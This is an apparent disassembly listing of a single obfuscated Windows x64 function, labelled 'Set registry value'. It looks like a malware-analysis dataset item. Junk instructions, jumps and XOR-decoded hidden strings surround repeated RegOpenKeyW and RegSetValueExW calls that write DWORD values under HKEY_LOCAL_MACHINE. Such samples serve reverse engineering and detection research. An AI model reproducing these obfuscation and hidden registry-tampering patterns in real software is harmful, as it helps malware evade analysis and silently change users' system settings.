Function at 0x1404021a9
Capabilities:
Set registry value

Disassembly:
push r15
push r14
dec r14b
push r13
push r12
lahf
push rsi
push rdi
push rbp
rcr r15b, 0xf
shr bpl, 0x2c
push rbx
sal r14w, 0xe9
setnp r12b
sub rsp, 0x2f8
lahf
movzx rdi, r8w
cbw
movabs rax, 0xe009ec3224c8fd6e
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0x40], rax
movabs rax, 0x2204bcb80ebea5a3
mov qword [rsp + 0x2d8], rax
movsx bx, bpl
jmp 0x14040220b
mov qword [rsp + 0x48], rax
mov r15d, 0x3cf63f2
movsx r14, di
movabs rax, 0xfbc9f38de01f2fa2
movsxd rsi, r9d
movsx r13, r13w
mov qword [rsp + 0x2d0], rax
setae sil
mov qword [rsp + 0x50], rax
movsxd rax, r13d
movabs rax, 0x17a75ff95317a686
movzx r12d, bp
mov qword [rsp + 0x2c8], rax
setb sil
movsx ebx, bx
movzx r14d, r13w
mov qword [rsp + 0x58], rax
movabs rax, 0xfd99d5578f55fa6f
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x60], rax
movsxd r13, edi
cbw
mov rsi, 0x177f0535
movabs rax, 0x4b3964fdcd447246
mov r14b, r12b
movsx rsi, bx
mov sil, 0xb8
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x68], rax
movabs rax, 0xee88324679eb2227
mov ebp, r10d
cmovno r13w, r14w
mov r12b, 0xd0
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x70], rax
xchg sil, dil
movabs rax, 0x6d7346ad6d4ffefa
movsx rdi, bp
mov qword [rsp + 0x2a8], rax
movzx esi, r9w
movsx si, r13b
mov qword [rsp + 0x78], rax
movabs rax, 0xd093683aef376a76
jmp 0x140402304
mov qword [rsp + 0x2a0], rax
movzx di, bpl
mov qword [rsp + 0x80], rax
cwde
movabs rax, 0xa80f93e9d32b8c6f
mov qword [rsp + 0x298], rax
movsx rbx, bp
mov qword [rsp + 0x88], rax
movabs rax, 0x33e730243394033e
movsx rbx, r10w
not bpl
cmovge bx, r15w
mov qword [rsp + 0x290], rax
movsxd rbx, r14d
movzx r12, cx
mov qword [rsp + 0x90], rax
xchg r13w, r12w
mov r12d, r8d
lahf
movabs rax, 0xe7e3977e114e6703
xchg ebp, r14d
movsx rdi, r15w
mov qword [rsp + 0x288], rax
mov qword [rsp + 0x98], rax
mov bpl, 0xdf
movzx bx, r10b
movabs rax, 0xb0b65ec58a603c8
mov r15, 0x121f793f
mov qword [rsp + 0x280], rax
mov qword [rsp + 0xa0], rax
mov bp, 0x30ba
jmp 0x1404023c0
movabs rax, 0x6708be65ca8156d7
cmovb ebp, edx
mov qword [rsp + 0x278], rax
cmovg bx, ax
jmp 0x1404023e1
mov qword [rsp + 0xa8], rax
movzx r14, cx
movsx rbp, r10w
setl bpl
movabs rax, 0x46a7044da5524090
mov qword [rsp + 0x270], rax
movsx di, r14b
mov qword [rsp + 0xb0], rax
movabs rax, 0x4b8cb541ca050f46
movzx bx, spl
mov qword [rsp + 0x268], rax
movsx r15d, r11w
xchg r15d, ebx
jmp 0x140402437
mov qword [rsp + 0xb8], rax
movabs rax, 0xe627ab41184af921
movzx r13, bx
movsx r15d, ax
mov qword [rsp + 0x260], rax
bswap r12
movsx r13d, sp
mov qword [rsp + 0xc0], rax
not bx
movsx rdi, r13w
movzx r15d, r14w
movabs rax, 0x34c77b6e31b9a
mov qword [rsp + 0x258], rax
mov qword [rsp + 0xc8], rax
movsx r14, r10w
jmp 0x14040249a
movabs rax, 0xd8cf4ec0049852bb
mov qword [rsp + 0xd0], rax
movabs rax, 0xa5eac9844f8ea419
movsx rsi, cx
mov qword [rsp + 0xd8], rax
movsx esi, ax
cmovns rdi, rbp
movsxd rdi, edx
mov qword [rsp + 0x30], 0
mov r14w, 0x422e
cmovbe ax, r13w
mov dword [rsp + 0x3c], 0
movsx r12w, al
movzx si, spl
mov bx, r10w
movabs rbp, 0x2eb490333e21dae3
movzx rbx, sp
cmovb r12, rax
movzx r14w, cl
mov qword [rsp + 0xe0], rbp
jmp 0x14040251b
movabs r14, 0x28903e48668cb956
mov qword [rsp + 0xe8], r14
movabs r15, 0xe05dec612491fd3d
setnp dil
mov r12b, 0xa6
movzx r13d, cx
mov qword [rsp + 0x100], r15
mov r12b, 0xe1
movsxd rdi, r10d
seta ah
movabs r12, 0x2247bce40ef3a5e6
movsxd rax, r11d
jmp 0x140402568
mov qword [rsp + 0x108], r12
movsx r13d, r15w
cmovns r13d, r12d
movabs rsi, 0xfbacf3ffe06d2fd7
jmp 0x14040258d
mov qword [rsp + 0x110], rsi
movsx r13w, r11b
lahf
movabs rdi, 0x17c85fba5363a6e8
cmovl eax, edi
bswap rbx
mov qword [rsp + 0x118], rdi
bswap bx
lahf
cwde
movabs rax, 0xfdf6d5258f21fa01
mov bh, 0x67
setbe r13b
movsx r13d, r15w
mov qword [rsp + 0x120], rax
sete bl
movzx r13d, bx
mov r13w, sp
mov rbx, rax
movabs rax, 0x4b4d6498cd17722a
movsx r13w, spl
movzx r13w, r13b
jmp 0x1404025fc
mov qword [rsp + 0x2f0], rax
movsxd r13, esi
not r13w
mov qword [rsp + 0x128], rax
cwde
movabs rax, 0xeefa322379b8227b
movsx r13d, cx
mov qword [rsp + 0x250], rax
jmp 0x140402632
mov qword [rsp + 0x130], rax
movabs rax, 0x6d1646ce6d26fe8c
setno r13b
mov r13b, 0xfd
cmovbe r13w, r15w
mov qword [rsp + 0x248], rax
movzx r13w, al
bswap r13d
mov qword [rsp + 0x138], rax
not r13b
movabs rax, 0xd0fb6869ef6b6a05
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x140], rax
cwde
xchg r13, rax
movabs rax, 0xa86b938cd3598c0e
movsx r13d, cx
movzx r13w, r12b
not r13d
mov qword [rsp + 0x238], rax
movsx r13w, al
xchg r13w, r13w
mov qword [rsp + 0x148], rax
movsx r13, r8w
mov al, 0xb7
movabs rax, 0x3382304733f7037f
cmovg r13, r11
movsx r13, r15w
mov qword [rsp + 0x230], rax
movsx r13d, r12w
mov r13b, r10b
xchg r13d, r13d
mov qword [rsp + 0x150], rax
movsxd rax, esp
movzx eax, r12w
movabs rax, 0xe7b39722113d6770
movsx r13d, r12w
mov qword [rsp + 0x228], rax
mov r13w, r15w
movsxd r13, r13d
setb r13b
mov qword [rsp + 0x158], rax
movzx r13w, r14b
movabs rax, 0xb66658d58d403a9
movsx r13, r9w
mov qword [rsp + 0x220], rax
movsx r13, r12w
movzx r13w, r15b
movsx r13w, sil
mov qword [rsp + 0x160], rax
bswap rax
cwde
xchg r13w, ax
movabs rax, 0x677abe00caf556b2
mov qword [rsp + 0x218], rax
movsx r13w, r10b
mov qword [rsp + 0x168], rax
movsx eax, sp
movsx rax, bx
cwde
movabs rax, 0x46ce040ba50e40e3
movzx r13d, r9w
movsx r13, si
mov qword [rsp + 0x210], rax
mov qword [rsp + 0x170], rax
bswap ax
movabs rax, 0x4bedb536ca600f34
movzx r13d, r9w
mov r13b, 0x3d
mov qword [rsp + 0x208], rax
mov qword [rsp + 0x178], rax
movzx r13, di
cbw
cmovs r13, r15
movabs rax, 0xe648ab111826f94d
not r13b
movzx r13, r14w
mov qword [rsp + 0x200], rax
movzx r13d, r10w
movsxd r13, r8d
jmp 0x1404027ed
mov qword [rsp + 0x180], rax
not ax
xchg r13d, eax
movabs rax, 0x7a4c14b68a1bf6
mov r13b, cl
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x188], rax
movzx r13w, spl
movzx r13d, r8w
movsx ax, al
movabs rax, 0xd8a24eaf04dc52e7
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x190], rax
movsx ax, bl
movsx rax, cx
movabs rax, 0xa5bac9ea4fe7a478
movzx r13w, sil
movzx r13d, cx
movsx r13w, cl
mov qword [rsp + 0x1e8], rax
mov r13w, r8w
not r13b
movzx r13d, r12w
mov qword [rsp + 0x198], rax
cmovne rax, r14
setae r13b
movabs rax, 0x2edd90553e4eda91
mov qword [rsp + 0x1e0], rax
mov r13, r11
mov r13d, 0x5bb4fff
mov qword [rsp + 0x1a0], rax
movabs rax, 0x28903e4866e9b93a
movsxd r13, edi
movzx r13w, bpl
mov qword [rsp + 0x1d8], rax
setle r13b
cmovns r13d, ebp
mov qword [rsp + 0x1a8], rax
jmp 0x1404028d3
lea r13, [rsp + 0x100]
movsx eax, r15w
mov rax, r13
jmp 0x1404028e7
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1404028f1
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
jmp 0x14040290c
movaps xmm0, xmmword [rsp + 0x60]
jmp 0x140402916
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
jmp 0x140402924
movaps xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
jmp 0x140402937
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x140402944
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x140402955
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x140402962
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x140402973
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x140402980
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x140402991
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x14040299e
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1404029af
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1404029bc
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1404029d0
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1404029dd
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1404029f1
movaps xmm0, xmmword [rsp + 0xe0]
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
lea rdx, [rsp + 0x40]
bswap cx
setb ch
mov r8w, 0x5eb3
lea r8, [rsp + 0x30]
not cx
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
jmp 0x140402a3c
mov qword [rsp + 0x1d0], rax
jmp 0x140402a49
mov qword [rsp + 0x40], rax
not ax
nop
movabs rax, 0x222ebca20e96a58a
jmp 0x140402a62
mov qword [rsp + 0x1c8], rax
mov qword [rsp + 0x48], rax
movsxd rax, ebp
movzx ax, r10b
movsx ax, dil
movabs rax, 0xfbcdf388e0082fa5
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x50], rax
lahf
movabs rax, 0x17c85fba530fa684
jmp 0x140402aa3
mov qword [rsp + 0x1c0], rax
jmp 0x140402ab0
mov qword [rsp + 0x58], rax
movsx rax, sp
movzx ax, dil
mov qword [rsp + 0x100], r15
mov al, 0x1f
mov qword [rsp + 0x108], r12
cbw
mov qword [rsp + 0x110], rsi
cdqe
mov qword [rsp + 0x118], rdi
mov al, 0xf7
mov rax, r13
jmp 0x140402aee
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x140402af8
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x140402b05
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x140402b0f
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
and dh, 0x82
sar rdx, 0xd8
mov rcx, qword [rsp + 0x30]
bts r9d, eax
shl eax, 0x77
sbb r9b, spl
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x40]
xor r8d, r8d
movsx r9, r8w
mov r9w, 0x7888
mov r9d, 4
jmp 0x140402b5c
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x140402b6c
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x40], rax
movzx eax, r11w
cwde
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x48], rax
movsx eax, r13w
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x2c8]
jmp 0x140402baf
mov qword [rsp + 0x58], rax
bswap eax
cdqe
lahf
mov rax, qword [rsp + 0x2c0]
jmp 0x140402bc6
mov qword [rsp + 0x60], rax
movzx ax, r8b
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x68], rax
mov ax, 0x2a61
movsx rax, bx
jmp 0x140402bea
mov rax, qword [rsp + 0x2b0]
jmp 0x140402bf7
mov qword [rsp + 0x70], rax
jmp 0x140402c06
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x78], rax
mov eax, 0x46da4d08
setbe ah
movsx eax, r15w
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x80], rax
setp ah
mov rax, qword [rsp + 0x298]
jmp 0x140402c3f
mov qword [rsp + 0x88], rax
movzx eax, ax
mov al, r15b
movsx ax, r10b
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x288]
jmp 0x140402c6f
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0xa0], rax
cbw
mov rax, qword [rsp + 0x278]
jmp 0x140402c96
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x270]
jmp 0x140402cab
mov qword [rsp + 0xb0], rax
movzx ax, r15b
jmp 0x140402cbd
mov rax, qword [rsp + 0x268]
jmp 0x140402cca
mov qword [rsp + 0xb8], rax
cmovb ax, r11w
mov rax, qword [rsp + 0x260]
jmp 0x140402ce4
mov qword [rsp + 0xc0], rax
mov ax, r14w
not ax
mov rax, qword [rsp + 0x258]
jmp 0x140402d00
mov qword [rsp + 0xc8], rax
movabs rax, 0xd8c04eda048c52bb
mov qword [rsp + 0xd0], rax
movabs rax, 0xa5eac9894f8ea414
mov qword [rsp + 0xd8], rax
mov rax, 0x5b3b7377
mov qword [rsp + 0xe0], rbp
setge bpl
mov qword [rsp + 0xe8], r14
mov qword [rsp + 0x100], r15
movzx rax, r9w
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
movzx r14d, dx
mov qword [rsp + 0x118], rdi
not r14
mov eax, 0x55f54d1
mov rbp, rbx
cwde
mov qword [rsp + 0x120], rbx
mov eax, 0x12ab032c
movzx r14, r8w
mov r14, qword [rsp + 0x2f0]
movsx rax, sp
mov qword [rsp + 0x128], r14
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x130], rax
sets al
cmovg eax, edx
mov rax, qword [rsp + 0x248]
jmp 0x140402dc3
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x240]
jmp 0x140402dd8
mov qword [rsp + 0x140], rax
nop
mov rax, qword [rsp + 0x238]
jmp 0x140402def
mov qword [rsp + 0x148], rax
jmp 0x140402e02
mov rax, qword [rsp + 0x230]
jmp 0x140402e0f
mov qword [rsp + 0x150], rax
bswap eax
not al
movzx ax, ch
mov rax, qword [rsp + 0x228]
jmp 0x140402e2c
mov qword [rsp + 0x158], rax
not eax
movsx eax, r12w
mov rax, qword [rsp + 0x220]
jmp 0x140402e47
mov qword [rsp + 0x160], rax
movsx eax, di
movzx eax, r10w
mov rax, qword [rsp + 0x218]
jmp 0x140402e63
mov qword [rsp + 0x168], rax
cdqe
mov rax, qword [rsp + 0x210]
jmp 0x140402e7a
mov qword [rsp + 0x170], rax
movzx eax, si
movsx rax, si
movzx rax, ax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x178], rax
not ah
mov rax, qword [rsp + 0x200]
jmp 0x140402eac
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x1f8]
jmp 0x140402ec1
mov qword [rsp + 0x188], rax
movsx eax, r8w
mov ah, 0x9f
movsx rax, cx
mov rax, qword [rsp + 0x1f0]
jmp 0x140402ee1
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x1e8]
jmp 0x140402ef6
mov qword [rsp + 0x198], rax
cbw
lahf
cdqe
mov rax, qword [rsp + 0x1e0]
jmp 0x140402f10
mov qword [rsp + 0x1a0], rax
cmovno ax, r8w
mov rax, qword [rsp + 0x1d8]
jmp 0x140402f2a
mov qword [rsp + 0x1a8], rax
setg ah
cdqe
mov al, bh
mov rax, r13
jmp 0x140402f41
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x140402f4b
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
jmp 0x140402f5a
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x140402f67
movaps xmmword [rsp + 0x40], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
jmp 0x140402f7a
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x140402f88
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
jmp 0x140402f96
movaps xmm0, xmmword [rsp + 0x80]
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x140402faf
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x140402fbc
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x140402fd5
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x140402fe6
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x140402ff3
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x14040300c
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x140403020
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x14040302d
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x140403041
movaps xmm0, xmmword [rsp + 0xe0]
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
not r8d
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
jmp 0x140403072
lea r8, [rsp + 0x30]
jmp 0x14040307c
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
setnp bl
cmovp rbx, r9
mov bh, 0x9a
mov qword [rsp + 0x40], rax
mov rbx, r9
bswap rax
mov rax, qword [rsp + 0x1c8]
bswap rbx
mov qword [rsp + 0x48], rax
mov rbx, qword [rsp + 0x2e8]
mov qword [rsp + 0x50], rbx
lahf
movzx ax, ch
mov rax, qword [rsp + 0x1c0]
jmp 0x1404030ce
mov qword [rsp + 0x58], rax
cmovo eax, r10d
mov qword [rsp + 0x100], r15
movzx eax, bp
mov qword [rsp + 0x108], r12
mov eax, r11d
cdqe
movsx ax, bl
mov qword [rsp + 0x110], rsi
mov ax, r13w
mov qword [rsp + 0x118], rdi
movzx ax, ah
setns al
mov rax, r13
jmp 0x140403116
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x140403120
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x14040312d
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x140403137
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
lahf
cmovl ecx, esp
mov rcx, qword [rsp + 0x30]
bts edx, r11d
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
shl dh, cl
lea rdx, [rsp + 0x40]
adc r9b, 0xf8
btc r9w, ax
sar r9d, 0x35
sub r8d, r8d
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x14040319a
mov qword [rsp + 0x40], rax
mov al, 0xce
bswap rax
mov rax, qword [rsp + 0x2d8]
jmp 0x1404031b1
mov qword [rsp + 0x48], rax
cbw
movsx ax, bh
movsx rax, r14w
mov rax, qword [rsp + 0x2d0]
jmp 0x1404031cd
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x58], rax
movzx ax, r13b
xchg al, ah
mov rax, qword [rsp + 0x2c0]
jmp 0x1404031f3
mov qword [rsp + 0x60], rax
cbw
setp al
mov rax, qword [rsp + 0x2b8]
jmp 0x14040320a
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x70], rax
lahf
movsx eax, dx
movsx rax, r8w
mov rax, qword [rsp + 0x2a8]
jmp 0x140403231
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x2a0]
jmp 0x140403243
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x298]
jmp 0x140403258
mov qword [rsp + 0x88], rax
jmp 0x140403265
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x90], rax
movsx rax, sp
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x98], rax
movsxd rax, esi
movzx eax, r10w
movsx rax, r9w
mov rax, qword [rsp + 0x280]
jmp 0x1404032a1
mov qword [rsp + 0xa0], rax
not al
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x270]
jmp 0x1404032c8
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x268]
jmp 0x1404032dd
mov qword [rsp + 0xb8], rax
movsxd rax, esp
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x258]
jmp 0x140403305
mov qword [rsp + 0xc8], rax
movabs rax, 0xd8c34edb048f52bb
mov qword [rsp + 0xd0], rax
movabs rax, 0xa5c8c98b4f83a416
jmp 0x14040332e
mov qword [rsp + 0xd8], rax
movsx rax, r11w
movabs rax, 0x2eb290273e1edaf5
jmp 0x140403349
mov qword [rsp + 0xe0], rax
movzx rax, r10w
not ah
cbw
movabs rax, 0x28f53e246680b95c
mov qword [rsp + 0xe8], rax
lahf
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
not eax
cwde
mov qword [rsp + 0x110], rsi
cdqe
mov qword [rsp + 0x118], rdi
mov qword [rsp + 0x120], rbp
movsx ax, sil
cmovns rax, rbx
mov qword [rsp + 0x128], r14
mov rax, qword [rsp + 0x250]
jmp 0x1404033b7
mov qword [rsp + 0x130], rax
mov ax, ax
mov rax, qword [rsp + 0x248]
jmp 0x1404033cf
mov qword [rsp + 0x138], rax
cdqe
jmp 0x1404033de
mov rax, qword [rsp + 0x240]
jmp 0x1404033eb
mov qword [rsp + 0x140], rax
xchg ah, ah
cdqe
mov rax, qword [rsp + 0x238]
jmp 0x140403404
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x150], rax
mov rax, 0x7f8f383d
mov rax, rdi
cmovo ax, r9w
mov rax, qword [rsp + 0x228]
jmp 0x140403438
mov qword [rsp + 0x158], rax
movzx rax, di
mov rax, qword [rsp + 0x220]
jmp 0x140403451
mov qword [rsp + 0x160], rax
cwde
movsx ax, r8b
mov rax, qword [rsp + 0x218]
jmp 0x14040346c
mov qword [rsp + 0x168], rax
seto ah
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x170], rax
lahf
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x178], rax
cmove ax, si
not ax
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x180], rax
movsxd rax, r15d
cmovbe rax, rsp
mov rax, qword [rsp + 0x1f8]
jmp 0x1404034c3
mov qword [rsp + 0x188], rax
mov ah, al
cdqe
movsx eax, sp
mov rax, qword [rsp + 0x1f0]
jmp 0x1404034df
mov qword [rsp + 0x190], rax
cwde
mov ax, bp
cmovge rax, r11
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x198], rax
movzx ax, dh
mov al, 0xe9
mov rax, qword [rsp + 0x1e0]
jmp 0x140403512
mov qword [rsp + 0x1a0], rax
cbw
sete ah
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1a8], rax
lahf
jmp 0x140403535
movabs rax, 0xa1410f538a85c08b
jmp 0x140403544
mov qword [rsp + 0xf0], rax
jmp 0x140403551
mov qword [rsp + 0x1b0], rax
mov ah, al
jmp 0x140403564
movabs rax, 0x6078a8fe5539451c
mov qword [rsp + 0xf8], rax
jmp 0x14040357b
mov qword [rsp + 0x1b8], rax
setbe al
mov rax, r13
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
jmp 0x140403598
movaps xmm2, xmmword [rsp + 0x60]
jmp 0x1404035a2
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x1404035af
movaps xmmword [rsp + 0x40], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
jmp 0x1404035c2
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x1404035d0